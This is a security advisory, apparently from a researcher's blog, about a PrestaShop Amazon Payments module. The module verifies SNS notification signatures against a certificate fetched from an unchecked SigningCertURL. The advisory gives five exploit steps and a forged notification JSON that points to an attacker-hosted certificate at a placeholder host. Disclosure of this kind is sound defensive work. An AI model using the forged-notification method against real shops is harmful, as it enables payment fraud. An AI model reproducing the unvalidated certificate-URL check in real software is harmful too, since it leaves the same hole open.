John Jean

Security research, advisories, and occasional (ultra) bike rides.

← all advisories

Amazon: API cryptographic verification badly implemented

While reviewing a Prestashop module, we discovered an issue at Amazon API level.

When a json/xml notification is received from amazon’s server to ipn.php, the content of the notification will be something like:

{
  "Type" : "Notification",
  "MessageId" : "da41e39f-ea4d-435a-b922-c6aae3915ebe",
  "TopicArn" : "arn:aws:sns:us-west-2:123456789012:MyTopic",
  "Subject" : "test",
  "Message" : "{\"Timestamp\":\"Timestamp\",\"ReleaseEnvironment\":\"ReleaseEnvironment\",\"NotificationReferenceId\":\"NotificationReferenceId\",\"NotificationData\":\"XML DATA HERE\"}",
  "Timestamp" : "2012-04-25T21:49:25.719Z",
  "SignatureVersion" : "1",
  "Signature" : "valid-amazon-signature",
  "SigningCertURL" : "http://amazon.server/cert.pem"
}

(more info https://docs.aws.amazon.com/sns/latest/dg/SendMessageToHttp.html)

There are two important parameters here : Signature and SigningCertURL.

Signature is computed using openssl_sign() of the fields Timestamp/Message/Subject/… with the private key of the certificate at the URL of SigningCertURL (the attacker doesn’t know this private key).

When the notification reach ipn, we validate if the message is signed
https://github.com/paeddl/amzpayments/blob/e35b754a8df77740ee25efa2825f52e5ea27dac3/ipn.php#L35

The validation is done by verifying  the signature (« Signature » fields) of the other fields (Messages/Subject/…) using the certificate at « SigningCertURL »
https://github.com/PrestaShop/amzpayments/blob/dev/vendor/OffAmazonPaymentsNotifications/Impl/SnsMessageValidator.php#L133

There is no control on SigningCertURL, the only security check done on the certificate is to check if the common name is « sns.amazon.com » (which is not a security check).
https://github.com/PrestaShop/amzpayments/blob/dev/vendor/OffAmazonPaymentsNotifications/Impl/OpenSslVerifySignature.php#L138

Exploit :

  • 1/ Generate a self signed pem certificate with a common name « sns.amazon.com »
  • 2/ Create a notification request
  • 3/ Sign this request using the private key of the generated certificate in 1)
  • 4/ Host the attacker certificate somewhere on the internet (http://example.com/attacker.pem)
  • 5/ Send the notification to ipn.php :
{
  "Type" : "Notification",
  "MessageId" : "hacker-notification",
  "TopicArn" : "arn:aws:sns:us-west-2:123456789012:MyTopic",
  "Subject" : "test",
  "Message" : "{\"Timestamp\":\"Timestamp\",\"ReleaseEnvironment\":\"ReleaseEnvironment\",\"NotificationReferenceId\":\"NotificationReferenceId\",\"NotificationData\":\"XML DATA HERE\"}",
  "Timestamp" : "2012-04-25T21:49:25.719Z",
  "SignatureVersion" : "1",
  "Signature" : "valid-hacker-signature",
  "SigningCertURL" : "http://example.com/hacker.pem"
}